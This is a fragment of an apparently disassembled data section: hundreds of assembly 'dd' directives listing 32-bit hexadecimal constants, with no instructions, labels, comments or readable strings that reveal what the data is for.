		dd 478F167Ch, 0C4E56540h, 80A26427h, 3B39A385h,	2ABD4604h
		dd 26C2D68Ch, 3D0557AFh, 0A43CE85Eh, 0FC53D404h, 0E07AA12h
		dd 699F5701h, 355820DBh, 48B02A87h, 45131D0Eh, 0A29B90FDh
		dd 1F600272h, 1B40870Ch, 58E7F848h, 342E4085h, 0B763F73h
		dd 0C7290480h, 0CAB1B802h, 4EB4105h, 13C932FCh,	2678B0B8h
		dd 0C52BE50Eh, 0A288E853h, 5E0689EBh, 105D5A1Fh, 9D0B6974h
		dd 7769B2D1h, 0E912B51Ch, 8220B93Bh, 60BC3874h,	5548D075h
		dd 0F7EC3680h, 0DC6DC50Bh, 9C65E0Ah, 0B6D32D3Fh, 4F03E0A7h
		dd 0A94CD37Ah, 8580A401h, 0A88A68E9h, 7D46F7A8h, 29EC1285h
		dd 525242F8h, 0FD56D8E9h, 9722C0Eh, 859504D0h, 16C78000h
		dd 0EFEAF728h, 12F542EBh, 294FB177h, 0DD018A21h, 0A73ED2Bh
		dd 3AFB6809h, 4EBFD796h, 73504955h, 78DA94Bh, 35D3C63h
		dd 0A9B8C0D4h, 0DE06809h, 0B7A3BE57h, 59AF8F65h, 98496F9Dh
		dd 873E115Fh, 88522B87h, 3204EBFAh, 7BA95007h, 31E9D43Ah
		dd 4D10F71Ah, 3E58F94Bh, 6764BE02h, 0FA804612h,	0B9ED98A0h
		dd 0A9C2E910h, 0DC14AE48h, 8ADE641Ah, 85387488h, 40AF66E9h
		dd 6FF2C7D8h, 0DEA002F1h, 6095C65Fh, 0BF975CB6h, 307C5846h
		dd 0C95CE6F1h, 0A6F2077Ah, 487E25E8h, 0CD135D52h, 15ADC404h
		dd 0AEC211C2h, 4DB3078Dh, 0CFD1E264h, 0F3C8310Bh, 12592581h
		dd 52FEE62h, 1EEFC355h,	0D4B90C00h, 4148CA27h, 5FE10081h
		dd 0E939D02Ch, 62C4880Ch, 0BCADC329h, 7FD2C84h,	2F75D188h
		dd 623BDEB1h, 1577584Dh, 382DBC00h, 6E4209h, 22E97CF1h
		dd 586394F5h, 0AEA51E9Dh, 4BF47927h, 82F5C2B2h,	1155D91h
		dd 0FC92C180h, 481D2C23h, 13BAC828h, 0D8F07BE9h, 46250BBEh
		dd 51E44971h, 37B29A22h, 0B2EF5EF0h, 91D2CDD3h,	66F8139Eh
		dd 8622B5D3h, 9FB17834h, 0C753F68Bh, 0E05AE90Bh, 0A9D03124h
		dd 0D97EB938h, 0F28E000Fh, 66697725h, 43AEFC0Ch, 2D26D345h
		dd 7825FF2Bh, 0DD110B18h, 6C702330h, 3CDEA0B5h,	98641A33h
		dd 0CF59951Ah, 5FFAE962h, 57C77AE2h, 0CC6E0728h, 8F57C11Fh
		dd 6E36F1h, 9F6F0551h, 12FA91Eh, 30567C3h, 70EF4B92h, 3940EDE0h
		dd 1D7BC620h, 27291250h, 5C782AFCh, 898C96D2h, 8D5C778Bh
		dd 52B82B62h, 287C0D30h, 0F8F53A19h, 59B52F90h,	0C4AA6F8Ch
		dd 0B4EA0964h, 65EA8FD5h, 39ABEC1Fh, 3FB92970h,	0F9A84E57h
		dd 0F876D9C9h, 0E970402Dh, 0DC1D4B8Fh, 3E09689Ch, 0D77D0670h
		dd 97609632h, 61827F4Bh, 0E0342F1Dh, 4DEA1C87h,	802FFD31h
		dd 3938E508h, 0A66825E2h, 0CCB76E6Ch, 0B7FE6C30h, 7625962h
		dd 7C64B833h, 0A31A60E3h, 82A0962Dh, 7091F0Bh, 8F22971h
		dd 0E525082Fh, 0C9D3983Fh, 376246E9h, 7D7B165Dh, 0CFA0BE16h
		dd 2F047DA2h, 25E94F35h, 685F3BD0h, 461A473h, 7C10A7B9h
		dd 5B5F8001h, 0FE0A83EFh, 5B1EA068h, 0DA257C43h, 5E184052h
		dd 60CD4801h, 95590B40h, 98F12122h, 5C899FF4h, 17CDE439h
		dd 8B081E68h, 0D129111Dh, 984F5358h, 0EC86C3F5h, 4BD99DACh
		dd 35E7844Fh, 4BABDBBFh, 0BE13868Ah, 0FFF434C9h, 27D10744h
		dd 0BF2D74AFh, 25C2528h, 3FB96853h, 57932964h, 2C464DD9h
		dd 5985922Bh, 0AD970CB2h, 546DDD45h, 0C8E9D0E8h, 0C5BD2095h
		dd 5AEC4674h, 4006B978h, 0EC15808h, 111E6944h, 8CF30C9Eh
		dd 66364991h, 29360618h, 257CB00Ch, 1603E10h, 7090C90Bh
		dd 96130C20h, 0EB1C4336h, 43C37701h, 89F5F814h,	0D25547Ch
		dd 0BDDE34E2h, 16BFB368h, 0C6A9C80Fh, 9282F477h, 40BFFA3Ch
		dd 0E6048118h, 47E1522Bh, 28FC09EBh, 0D4BDE720h, 5C601953h
		dd 0F56E3FAAh, 74E91323h, 8F79A9F0h, 64BAD6A2h,	0EFFC11Fh
		dd 19EB4DD7h, 0B75320DDh, 23DB1102h, 0E303E9C1h, 0E1DE03A7h
		dd 6D1D397Ch, 5AE2F1B0h, 0C175272Dh, 6A03C3h, 7800511h
		dd 3500534Fh, 17205982h, 2C44A02Dh, 42AA98BCh, 99D95EF3h
		dd 0D42A2EACh, 6444599Fh, 1730E8ECh, 4EC1478Fh,	0EA0486A1h
		dd 65A47327h, 5A2716B8h, 8B922C4Ch, 301B602Ah, 5AAC874Ah
		dd 56FCD3DFh, 551805D9h, 946F8251h, 0A8045900h,	7CB5F452h
		dd 983F256Bh, 9D9F70D1h, 6AAD5C20h, 0A5969924h,	4C9D1E1Eh
		dd 23832D0Eh, 8AD996BBh, 470D751Fh, 0C550090Ah,	0E7F15895h
		dd 98DE096Ah, 31B5E2A3h, 2B23EDF1h, 227F8FE1h, 54C189F8h
		dd 28707A5Eh, 96264A68h, 2CB3903Eh, 8D12CA5Dh, 0DA1042AFh
		dd 870585Bh, 9D63EFF8h,	0C1926818h, 237F08BBh, 89AD808Ch
		dd 1A3AD89Dh, 13C51240h, 0EEAF65EAh, 0E45C4719h, 4BA2347Ah
		dd 2A05BBA8h, 0B3DFD5EEh, 3B680D86h, 0A2C6A72Fh, 5D78B288h
		dd 0B5CA0D02h, 45198175h, 6F3CDA28h, 27DEE110h,	17A7F121h
		dd 0A8A352FBh, 722E81BDh, 8403F75h, 137F510Fh, 0F354292Fh
		dd 0A10C4159h, 11B51C10h, 5AB24AAAh, 0AFF40836h, 2B62913h
		dd 71512D0Eh, 56535741h, 0B5B64152h, 4406B2Eh, 0D426D55Bh
		dd 73C27D29h, 2FCC951Dh, 835DEE07h, 6CF402C6h, 0B747FF93h
		dd 77BC27D5h, 0FB73D2DCh, 8883E675h, 89190944h,	40405DEFh
		dd 45595568h, 4D098030h, 27C10764h, 9DF908EAh, 0C955CA73h
		dd 230217Dh, 91591ABh, 34DD40E4h, 0BB530072h, 18CA3E72h
		dd 0EA5AFDE9h, 73CF0C67h, 0FFC24E62h, 0DC96596h, 81EF725Ch
		dd 287BE4F7h, 104F69C5h, 17F484E8h, 0C4EEA9B2h,	77A0F7E9h
		dd 68C22680h, 0AFC52C96h, 5C70E914h, 0EAB0A297h, 55185FA5h
		dd 0B4B7194Dh, 5E344761h, 0D12D7302h, 34B56171h, 907943E4h
		dd 12C18ADh, 5FE91841h,	0BBCA3F3Eh, 5D05129h, 0B0B30408h
		dd 4A9A9117h, 0F3903472h, 7D094098h, 3261DD5Dh,	7F80D54Ch
		dd 15827312h, 2AD00176h, 420C6008h, 14564D7Fh, 991BC068h
		dd 5F34E9C5h, 5BFC49D1h, 9D8B9CD5h, 9CB8BEB0h, 0D2623304h
		dd 5BE966E9h, 0F85EF212h, 397509E2h, 17515h, 355AE94Bh
		dd 27596C47h, 13B64407h, 0FA1F7258h, 152BA901h,	190318F6h
		dd 8F3EB8E9h, 9DEC5D24h, 4E3A7827h, 0CA19B289h,	6102AE51h
		dd 0D063E460h, 0B1AA0996h, 5C8EBE0Ah, 0D1E3533Dh, 213A65CEh
		dd 0D2B42E07h, 99381D01h, 4492BC63h, 0CBF1813h,	0ED30EEDDh
		dd 19AA9284h, 10F1A66h,	8095EFDh, 8969E354h, 0D0D2DE24h
		dd 194B4EE9h, 8629E589h, 6019E3D2h, 0B1D8418h, 0DD29342Ch
		dd 8081382h, 591DACA2h,	5DAFF889h, 12276014h, 0E5006885h
		dd 9506A0ABh
		dd 305782D5h, 8071194Eh, 80040AB3h, 0E3C016CBh,	984D52C1h
		dd 6BCCFE01h, 0B8ECE0E5h, 2D669D0Fh, 26A011F4h,	5F9E70F3h
		dd 0A6A88544h, 5E17E834h, 858B967Dh, 2F65F14Ch,	0A661698Dh
		dd 0E9E0C868h, 61822D76h, 0C87429D1h, 0AC14809h, 43D987B0h
		dd 0CBE43173h, 3EB208D4h, 935F167Bh, 1645704h, 5610B7B3h
		dd 48958E6h, 165D600Bh,	291EC7ECh, 0BAEECEFEh, 877203A0h
		dd 0CCF35EF7h, 5F7135C0h, 0BA53215Ah, 6BEDFB0Bh, 40E6B898h
		dd 0C1E607Ch, 739513AAh, 9C7562C7h, 0EA88834h, 0BE6911h
		dd 0B8DF49EEh, 0B1F231DDh, 94540849h, 38C95A2Dh, 0D01DDF04h
		dd 0F3692D2Ch, 0AFD754B4h, 3C5B76DEh, 0BA045214h, 0BF0263Ah
		dd 4094A780h, 0E91615FCh, 0D948DF17h, 0C173C2E4h, 93E7D20Eh
		dd 0FE0085D3h, 0A422C905h, 58C1FF44h, 0E91A28EEh, 25EC6D24h
		dd 10696667h, 0C96FC132h, 0E800C33Dh, 3C462A56h, 61C7813Eh
		dd 1E60E903h, 8101356Fh, 349386B6h, 3D412576h, 3595CDEBh
		dd 6A074EE8h, 601B0364h, 5C31595Bh, 0A59C11BAh,	1420DF68h
		dd 0D42CD084h, 89885209h, 0B576A82Bh, 0A67E062Ch, 6947D24Bh
		dd 0B2F36F6h, 0F7E50121h, 953052D7h, 3129819Fh,	42826E76h
		dd 251C5E42h, 634C58F1h, 0A9BA4DE9h, 79D5BB02h,	0AD767E2Eh
		dd 3BF9B588h, 4DF17879h, 1F5B1D72h, 0B18BA51Eh,	37A2AFCh
		dd 761D9ED4h, 71300719h, 0C25A743Ah, 0CC5F1CCCh, 0B3E9C0Ah
		dd 0C77363F7h, 0C9587949h, 14196E41h, 9984C1BCh, 762D0B0Ah
		dd 2792A0CBh, 62A28245h, 24D5B9FAh, 7D01C0Ch, 0A8229E68h
		dd 8BD0F6EEh, 0F9361FD8h, 4D5B642Ch, 0DBF70700h, 0BDA9DCE9h
		dd 1447A266h, 0B909F84Bh, 0CB119520h, 0D3E9ED1Fh, 6822605Bh
		dd 76661427h, 48CCC093h, 0BE051CF2h, 0DC464F35h, 0EE6E85AEh
		dd 0FB633F31h, 19176800h, 4FBDAAA6h, 64792DF7h,	0CEBD5193h
		dd 0F1DEE9B0h, 0BD80E4B5h, 0A58978E5h, 7A723BBh, 450A306Eh
		dd 56194FE2h, 0F22D4302h, 0C13C9808h, 74005CFh,	9DD1685Dh
		dd 0BA75A989h, 73095F33h, 553F368h, 0D02816C1h,	2CC8665Ah
		dd 74F0E061h, 0F692EC04h, 6BD2F68h, 0E92111B6h,	524AC902h
		dd 7F8405C2h, 895DB579h, 516D9C7Fh, 685500B6h, 2F917E3Dh
		dd 0C1315D26h, 4B08EB19h, 0A3D8F02Fh, 0F3381B41h, 682F0F20h
		dd 4BEF725Dh, 25A180B2h, 76012264h, 3A570549h, 0E1D4096Eh
		dd 0FED50518h, 0BF10EFE9h, 0B4042C53h, 904AD1Fh, 80C0AEDAh
		dd 7EF6F7CDh, 0EFF02CDEh, 24D9BF7h, 0E3D0F5CAh,	0EBDDF1B5h
		dd 251758FCh, 41BBAC84h, 0F7FBC6F2h, 0C36870CCh, 0E9842394h
		dd 1BE8FAD0h, 510E85D0h, 0CB4BE188h, 0E92C8B06h, 923A1025h
		dd 6558C034h, 4663F41h,	0E44E6B17h, 0EA88CE05h,	8E480634h
		dd 0A4FA294Ah, 0C15F0880h, 0D102E209h, 50D52EAh, 0C3A32E2Bh
		dd 164CE229h, 2618F0Bh,	0C82BAF0Fh, 6C40BDD7h, 74F19758h
		dd 0D8746302h, 773B6011h, 613C58F1h, 8ECFC824h,	0F700DBB7h
		dd 7E7C05Ah, 0F000F895h, 0B65225B8h, 0D7C01409h, 416E828h
		dd 0AECC599Eh, 0D05B00B2h, 98CA80E2h, 0E913DAF6h, 0B2537E39h
		dd 0C73FCBA6h, 0FA06F412h, 0CA4EF3Dh, 0E956582Fh, 2B316525h
		dd 0AE205503h, 188D2D5Bh, 0B657D424h, 5D7607A0h, 4D23E709h
		dd 8635E60h, 0AB2C9841h, 452D7EEBh, 819C5721h, 9BA526Fh
		dd 2D21340h, 12A1766h, 84710D6h, 37155A4Eh, 0E8AD70E5h
		dd 4B436881h, 0F48DD41Bh, 15177F72h, 54087B28h,	54003A4h
		dd 42BA2A20h, 98464D7h,	3628746Fh, 0B90436F8h, 0D7098701h
		dd 476082ABh, 0C7B5A5C0h, 8CE8BE81h, 29341315h,	81DF2DD6h
		dd 5DC92FA6h, 0E63921E7h, 404EC95Fh, 4A728513h,	3A205D7Bh
		dd 0FA013B1Ch, 88AB3597h, 59972796h, 32CF88C9h,	80D4F607h
		dd 0E728BBA0h, 0FD300758h, 0BEC5FE5Bh, 2B07D349h, 0AEEE621Eh
		dd 664400DFh, 3B8FB753h, 5B3FFE08h, 693F619h, 5A7B3016h
		dd 2C4CE8E0h, 0E4BA1058h, 0F57E052Dh, 69FA5593h, 0A4FF3CC1h
		dd 1A3FE0C1h, 0C72FE006h, 26B9D1F7h, 0A7700B5Bh, 712BB0E8h
		dd 72975A73h, 400882C0h, 865434C0h, 27F24EBDh, 0F212ACC3h
		dd 4C72B0DFh, 896681EFh, 0DD69E864h, 0ACC01430h, 0EC6B669Bh
		dd 0B7A72CD1h, 0D01444F7h, 43DB6899h, 2F616695h, 8BDBC217h
		dd 148D32B1h, 9D03F26Fh, 6A972062h, 919D09Fh, 4C6F7818h
		dd 0D83FAE5Eh, 761E6B74h, 1F6D050Dh, 0F9AF09AAh, 62772BC2h
		dd 95C1503Ch, 0F5185DC7h, 4A80E991h, 0C999AC2Dh, 0D2310252h
		dd 2EB075CFh, 8916B951h, 0BA006A59h, 0C12901EFh, 0EB0CC072h
		dd 0E93DD14Eh, 756DDF4Dh, 56C33669h, 0A0976E35h, 0D0590104h
		dd 2DEAA4F3h, 918D6B9Fh, 932DFC6h, 3CFE146Ch, 90361DD7h
		dd 7F45BD0Ch, 2FA2C3A0h, 2E09272Fh, 65B77150h, 0FE693477h
		dd 0F882B7C9h, 218015FCh, 0AEB76075h, 0D6F3CAAFh, 0D3CE0817h
		dd 57DF6BA2h, 8FB05092h, 3CF50780h, 0B259EA28h,	37105A5h
		dd 12725388h, 32280D30h, 440DAF06h, 83E8B550h, 37AC7EB0h
		dd 0BA28517Dh, 80BF7A02h, 5C583D8Eh, 329C9D7Eh,	305A0F81h
		dd 7C4EB66Fh, 0CC2F56A7h, 0A64B4BC3h, 54D8AEADh, 82BD1396h
		dd 0FFB4D32Fh, 0CC90AC18h, 50619195h, 0BA145B21h, 39CC87FFh
		dd 7205F58h, 1DB22727h,	869A1440h, 0FEA8D281h, 69042793h
		dd 5EA873FBh, 3324DF4Bh, 1DBCBAFh, 76C2BD55h, 93600503h
		dd 4A3573C5h, 74D0A808h, 82892549h, 0D610C768h,	0F4166245h
		dd 8949E3F4h, 0E99763D3h, 22468BBh, 5B67F8F5h, 6F1B28F4h
		dd 9033585Bh, 0F4CC842Ch, 291E6283h, 3BAF0878h,	44509405h
		dd 17B90BBFh, 407E51D8h, 89395EF9h, 815F89F2h, 0DD6007CAh
		dd 6DD04AA5h, 2D7DC7EAh, 17F82D49h, 88E8555Bh, 3369B34Fh
		dd 204BC758h, 0B00FC00Ch, 0C0C330ABh, 0E380D3F6h, 0AFE1E7EEh
		dd 2CF3047Bh, 21BCB529h, 0D4C121h, 2F5CB768h, 0C31A0F25h
		dd 554EBB03h, 663552C8h, 5F96391Fh, 101E88Fh, 47140277h
		dd 4105C840h, 46903E40h, 97D6E505h, 0C067C48Dh,	5396F7CFh
		dd 6825AF78h, 0A6EBF976h, 0BCE01292h, 22A5D6F8h, 51823684h
		dd 8699F0AAh, 71EDB009h, 0B3BC7701h, 0D9255B50h, 3D8C1A4Eh
		dd 0E2264F13h, 0CE12DEBEh, 4DD7808h, 0E1E5305Ah, 0F9D97EFFh
		dd 9759E8F0h, 8B6E2879h, 4A7D8968h, 0B7CE4111h,	0FF7E160h
		dd 5BFA88AFh, 0B8D3133Dh, 0E95A04CCh, 0CD8DA798h, 0C4A7B22Fh
		dd 9F81C138h, 9B8F6765h, 28CDEF80h, 0DEE2D950h,	2535FC41h
		dd 0F1F22E0Bh, 0D7604A1Ch, 3546F008h, 5D8D7EE5h, 0FA54ACE5h
		dd 3BB6EF01h, 526170FAh, 4458857Eh, 12A35AFh, 0D1885153h
		dd 0B421CFC9h, 0F6B5102Ch, 0ED5A10D6h, 813E04Eh, 6894F0F2h
		dd 5CC6F03Eh, 9D227571h, 565C7C40h, 3514020h, 233A355Bh
		dd 8E0734C8h, 0EC6F2D02h, 55319952h, 72669702h,	544EFEC6h
		dd 0EAD343A2h, 2E8096Ch, 68C8310Ch, 8C561052h, 34825645h
		dd 0C67309A6h, 5362C028h, 0C71CF20h, 0BF48460h,	380C2360h
		dd 0BD12DA31h, 1EB0F7C5h, 0B588A78h, 36CE94Ah, 18E4B05Eh
		dd 0F16FB2A4h, 62D660ADh, 219AF9EAh, 6D29758Ah,	719D9657h
		dd 4923B411h, 0FB024174h, 4207CB0Fh, 7CB0820Dh,	0CF43DD06h
		dd 0CC08E638h, 0EC845B2Ch, 77BDC0FEh, 0D80FD16Dh, 48E9E889h
		dd 0EAC10418h, 8EBCB402h, 3FDBE17h, 9CEB1234h, 0C758E925h
		dd 62AD909Dh, 41506406h, 0B13ACF85h, 65BEF16Bh,	51342A34h
		dd 94A5B50Ah, 69EE8181h
		dd 0F8F2B572h, 69D89517h, 58EB84D3h, 49A80C78h,	0E97C5209h
		dd 0E3372B6Ah, 0CA1BC29Ch, 0EB1C0434h, 0C7058EAh, 3F2E118Dh
		dd 82C95048h, 6D1D4D2h,	0A320445Eh, 0A35F6165h,	761C4F21h
		dd 0B3D45059h, 6B6B3B9Ch, 4A3DA663h, 0D3C46759h, 1A2D813Fh
		dd 0F06B2E58h, 536A3664h, 1F7F4AB4h, 531D4EF6h,	0A6AFC586h
		dd 0C0FE092Fh, 0EBF6832Ch, 0AFC3832Eh, 0F9CAB32Eh, 0C609EC4Bh
		dd 4B6936E9h, 9226A250h, 9BB09CC4h, 2929C922h, 22F7BCCAh
		dd 5CE073BEh, 7B66EF79h, 0C10317B6h, 36F55AA3h,	0D2F6E15Eh
		dd 6523D12Fh, 8B14C538h, 0DBBC9346h, 8C97BD52h,	0C131AB82h
		dd 0BF00B4C1h, 353D247Ah, 4FE73B2Bh, 5C34D049h,	0D8074301h
		dd 0BD070D5Fh, 5EE77240h, 2C6852E1h, 3E34D1CEh,	3D363F79h
		dd 0CC515F1Dh, 812E8FB9h, 7A2EE118h, 41D7F10Ah,	48BD6044h
		dd 0CF3021FEh, 56F71259h, 0EC82D64Fh, 22D1103Ah, 0D436865Fh
		dd 0D2707D01h, 58C2213Bh, 0CB29A02Eh, 71412E00h, 505527BFh
		dd 8FE9150Fh, 0EA20B4E1h, 7142F2B7h, 0B689495Dh, 3E6868CFh
		dd 3CF6B688h, 100DE6DAh, 0B84E80ECh, 9F939E7Ah,	0E5209FE1h
		dd 40EEF0F9h, 44B830Bh,	0E266D131h, 0BDCE8000h,	0FEEE06C7h
		dd 891E1D6Fh, 0C36E6CCh, 0F3880045h, 0C0EBD05Ah, 0CBFC05E3h
		dd 6941FD48h, 4EC0058h,	74D02867h, 5AF9E52Ch, 13488C28h
		dd 59127920h, 2DAED030h, 2A6861B6h, 0BD8944D1h,	0D12C2EB8h
		dd 8BF10E89h, 92601D7Fh, 0FE2504C9h, 3999BF21h,	3647293Fh
		dd 0ABBC5B59h, 4817A410h, 1F080238h, 77893516h,	0E7C11D30h
		dd 0EF07B1B0h, 424DEB7Bh, 409CC660h, 503E5F83h,	994B08F7h
		dd 4584C367h, 5DEB6F63h, 0A08BD779h, 0E1956402h, 999A918Dh
		dd 8813F358h, 205562EAh, 0B8A9F666h, 0F77813ADh, 9262EAD6h
		dd 546ACABCh, 0E7F3E930h, 0EF12BA0Ch, 0B37A9FC3h, 0C4584596h
		dd 4155160Ch, 0FBA05356h, 0B4C0A104h, 0F432E81Eh, 0F48A4FA6h
		dd 777EC678h, 0AF274C7Bh, 0D2BE22F5h, 0C6800191h, 8E5430BEh
		dd 501EF3E0h, 0C4CB64B4h, 99C84C7h, 0EEED1DAAh,	70210E2h
		dd 20478F5Fh, 0D4403B95h, 0EB11A8BBh, 98AEA67Eh, 3DC80268h
		dd 9AE90B21h, 94F586CAh, 49AD4A9Ah, 0D60ED7FFh,	6075B492h
		dd 0B9512BC0h, 134E59AEh, 64CE2901h, 8718FFB5h,	276844E8h
		dd 657C636Fh, 428F5702h, 54216038h, 12D824E9h, 0ED3CCF44h
		dd 0B357F942h, 9EA2E176h, 6BD8281h, 6E2ACA77h, 0DFE04417h
		dd 71A14E59h, 3FDA6817h, 0B33A2699h, 9EFD5B1Ah,	5531A05Bh
		dd 932A925Dh, 0DAFA26FBh, 6B4D30C3h, 0BDA98E68h, 0DA9871D2h
		dd 3D8AB05Fh, 0BE38015h, 0C7D05289h, 0C2E9350Dh, 25F8208Ch
		dd 81A8582Ch, 0F726AC20h, 1C0E4FD7h, 0A0DD263h,	106A9B48h
		dd 67C4957Bh, 5E51D1BFh, 6510E159h, 428E2EAEh, 0E4FBBD5Bh
		dd 0C88B313h, 940BB759h, 76728054h, 0F1CC8CDAh,	0FB97EE27h
		dd 87273FCCh, 0DCB99CC1h, 0F58EB60h, 149E0409h,	86F85F52h
		dd 48C37F10h, 2DE3D633h, 80C44940h, 0F3956354h,	0B55969C8h
		dd 3EE1FB25h, 45B26D2Ch, 4E5BF9F7h, 0C714CD88h,	0EBF580C5h
		dd 0CFB67B03h, 8C16D0E1h, 0EF215E58h, 52C140C7h, 0B9C2B3B4h
		dd 3C06F97Dh, 0B20A0817h, 884E7852h, 25FEC150h,	8460FC58h
		dd 0C32BB151h, 77B03D7h, 0C7A186F4h, 71BA20F6h,	0B4B6014Eh
		dd 7759B118h, 0F681EAB0h, 6715B369h, 805FEE20h,	922F27B4h
		dd 277B4A58h, 1E97D961h, 15774950h, 0C97F1BD5h,	31011EE6h
		dd 94A16FD2h, 9766B36Bh, 16DE3E54h, 0E3D1E5A2h,	0FE74CAB7h
		dd 0E1C50581h, 0A91D4605h, 0E08412Ah, 0D1A012DCh, 0BD0260F2h
		dd 785C7A93h, 0F730BF50h, 9E5742DDh, 0C6D64AC6h, 584F58DFh
		dd 963C8DD8h, 5F9A3A0Bh, 80565360h, 856BF100h, 4F01AF22h
		dd 0E14DACCAh, 652B02C2h, 0A6B4323Ch, 558FDC8h,	2475DAB7h
		dd 1761D001h, 73F79795h, 0E0CC6C3h, 691C6F09h, 4683415Dh
		dd 26A39735h, 0F4520E68h, 7ADF2A89h, 42360B50h,	1AD753DEh
		dd 42685D34h, 0B92764C9h, 21898606h, 974D2782h,	1E2F8D53h
		dd 95EAEC7Fh, 8C44AEBAh, 7015E03h, 98ED355Bh, 0B8051D1Eh
		dd 0B587214h, 84FE940h,	0F397E444h, 20F4A59Ah, 5FA1DAB1h
		dd 9B315475h, 192B43Eh,	0A557FB3Fh, 400EFA61h, 8A97A11Ch
		dd 66937B7Fh, 7EF06304h, 2825FAE2h, 0BC20A570h,	0E58825D9h
		dd 0CBD35450h, 97BE3BCh, 7F9DE92Bh, 76BF3CC8h, 0D8FF1171h
		dd 7AB41768h, 359D046Fh, 0F5C4D4ECh, 0C7CDBBC8h, 0AA28CAE5h
		dd 352124h, 0ABBE581h, 0DFA30F2Ah, 155D692Eh, 8595D444h
		dd 0FCD02DEBh, 48926E27h, 0EE902590h, 0DA2B6600h, 0E9F02921h
		dd 3FE16020h, 5B12B1F7h, 0A0C73A4Eh, 3250AF8Fh,	281DBAA0h
		dd 9D67D18h, 0DAE95FF8h, 45575AE2h, 60F29C62h, 5E4DB198h
		dd 0E6012EB3h, 1E85FF69h, 0BC82ABFBh, 0DE17C853h, 29151256h
		dd 717105Ah, 0D7015B0Fh, 5510E154h, 25583BA6h, 9D335870h
		dd 500012E5h, 0FB035268h, 8E2ACF09h, 93564E10h,	4A9D8B82h
		dd 0CF3D49Fh, 0EDCF7677h, 0B3845A97h, 7C82D29h,	8080EF26h
		dd 29F178F6h, 4A83DB6Fh, 60181FC7h, 5BD36815h, 0A2B884F7h
		dd 0A535CDAFh, 70387439h, 0F9955FFEh, 78E9E140h, 0C4BD2CF3h
		dd 8514A0D7h, 22F90716h, 0B0A08759h, 169F318Fh,	98F8E695h
		dd 1B6450FDh, 3A794120h, 28B54401h, 59D12CE8h, 0C79FF028h
		dd 86618724h, 0E9124B66h, 614E93F7h, 8D3CDDDh, 2E35D060h
		dd 2D639C83h, 0BAF00164h, 82D27E82h, 1CC2663Dh,	7FA6EED4h
		dd 5B042310h, 0FB6C6068h, 34AA6C34h, 1190AF82h,	0A9BBD6E9h
		dd 1420E3E6h, 40615A4Dh, 7E0F7512h, 0D37D0117h,	21919EE4h
		dd 0EF880A0Dh, 402DA9Dh, 0BC721A68h, 5D798623h,	0EE170ADh
		dd 0C1346515h, 0C23F02CFh, 2C429E7Dh, 95B5740h,	2969BA09h
		dd 80188CAh, 2025913h, 4A5AE956h, 537BFC85h, 6E9486F1h
		dd 49BC5892h, 946FBAFEh, 0D684EA28h, 0C86781BFh, 0FAD13ECCh
		dd 0A5681A26h, 8456A2E5h, 0A2A11DE9h, 10E5DFE6h, 9F4CBBCh
		dd 584BCB02h, 51AB740Fh, 0C22E9772h, 6C1EC8D7h,	0FAD984CBh
		dd 3A9C003Eh, 0E6817F05h, 0C1274249h, 3B86701Fh, 0E90C0102h
		dd 245F9C43h, 0A1754695h, 5629C9C4h, 61D2F203h,	6C0546AAh
		dd 0B3431016h, 4E680AA0h, 584EA34Bh, 0FAA87E50h, 8F975EF3h
		dd 0BA3D66B0h, 6F0C5017h, 5F189558h, 8B97FAE9h,	1081664h
		dd 167E4A05h, 2EE8C128h, 4091ABC0h, 51450912h, 57D282E9h
		dd 410B74B4h, 6B1956B9h, 0AF09E851h, 0AACA94C6h, 0E916F4D4h
		dd 13F1C184h, 0E54D3504h, 80B3B601h, 512D60C6h,	14270794h
		dd 9F91B2FFh, 0F24AEA53h, 9DD831A7h, 642B8365h,	810DC535h
		dd 522BFCEh, 6BB57090h,	6095875h, 3000AE38h, 7E7C15Ch
		dd 4A26E94Fh, 0EC82EEF0h, 0D4733414h, 0D82905E5h, 480A182Dh
		dd 7520064Bh, 2BFC1E2Ah, 0EC0CF00Eh, 102CB061h,	6A03314Fh
		dd 0E869175Dh, 51C07EFh, 7CE93755h, 7826E2E1h, 5D2E64FDh
		dd 346581BFh, 0A60060D1h, 524FE836h, 805BFF5h, 12A9BF05h
		dd 6CC5DDAFh, 1E81A493h, 8C6AF6A0h, 0E2266846h,	4AC1D066h
		dd 0CD42553Ah, 0A1562Dh, 4B3D0605h, 66975F69h, 301AA05Fh
		dd 16B1D3ADh, 75FA8074h, 40F31520h, 137D68Eh, 1CF01C5Ah
		dd 2CD391EEh, 4905E9Fh,	3BFC8B4Dh, 0E1322ACh, 0D9F6F5B1h
		dd 0BA89D149h, 0AA05BFA4h, 8682342Dh, 63C250F7h, 0DCA1CAD5h
		dd 0E95E96CFh, 0B2D925FBh
		dd 6B0C0408h, 0DDFE5F97h, 0F747BCDh, 0D817B33Ch, 3C132C5Ah
		dd 416B7C81h, 1DADC271h, 0AD803E63h, 25891123h,	58E2292Fh
		dd 3B8A0808h, 68D07A81h, 6BCD01AAh, 0E5DC242Ch,	0CBCE839Dh
		dd 0FF61F5Fh, 0FC51D0EBh, 3DB29C58h, 0D53E59Eh,	919E15h
		dd 0B2600FD3h, 789289Dh, 0D6083224h, 0F06025A1h, 71AE9BDCh
		dd 0B0D719Dh, 0F2F1699Eh, 0C02B062h, 0A41CF2D6h, 5CA70D5Bh
		dd 4A712D2Bh, 1698DF09h, 24509508h, 0C8370250h,	70AF85A5h
		dd 0D11725AAh, 550B6B52h, 78299116h, 0F3403F49h, 0EEA3B8D0h
		dd 126E4B04h, 897283D1h, 27923E72h, 0BF8D169Fh,	8FBAF7B0h
		dd 0C2EED3B7h, 0D512B850h, 8F8204E2h, 2CF4E194h, 9FC15065h
		dd 0DC2B17BCh, 9B31689Fh, 8DA76F4Bh, 0BA799A0h,	26DB6D8Ah
		dd 1BC6610h, 599929C4h,	0C4F48807h, 89B4C8E0h, 2519FDEBh
		dd 0C4B16615h, 8003D533h, 0CA8135C1h, 0EE097B59h, 687FE09Dh
		dd 89581CE7h, 0F94FD43h, 459EB75Ch, 8022AE4Bh, 3F721522h
		dd 0B7E91B0Ch, 0BEA7566h, 76E34BBDh, 996CA200h,	31024DC3h
		dd 82685EF2h, 446D5C4Eh, 0F500805Dh, 0A0A4A37h,	0A8E5D12Ah
		dd 5E49A202h, 0E749704Bh, 0E9688C3Ah, 0A685FC4Bh, 0DED998BFh
		dd 4F94F2FAh, 28EA5816h, 2694E8AEh, 4AC9ED12h, 0A0B149E0h
		dd 0B02C75Ch, 0D78975F3h, 0F10C5A04h, 0FA2C2A7Eh, 351D1768h
		dd 0CCD3050Bh, 5534BBA4h, 9320D013h, 2618D5C7h,	175707B1h
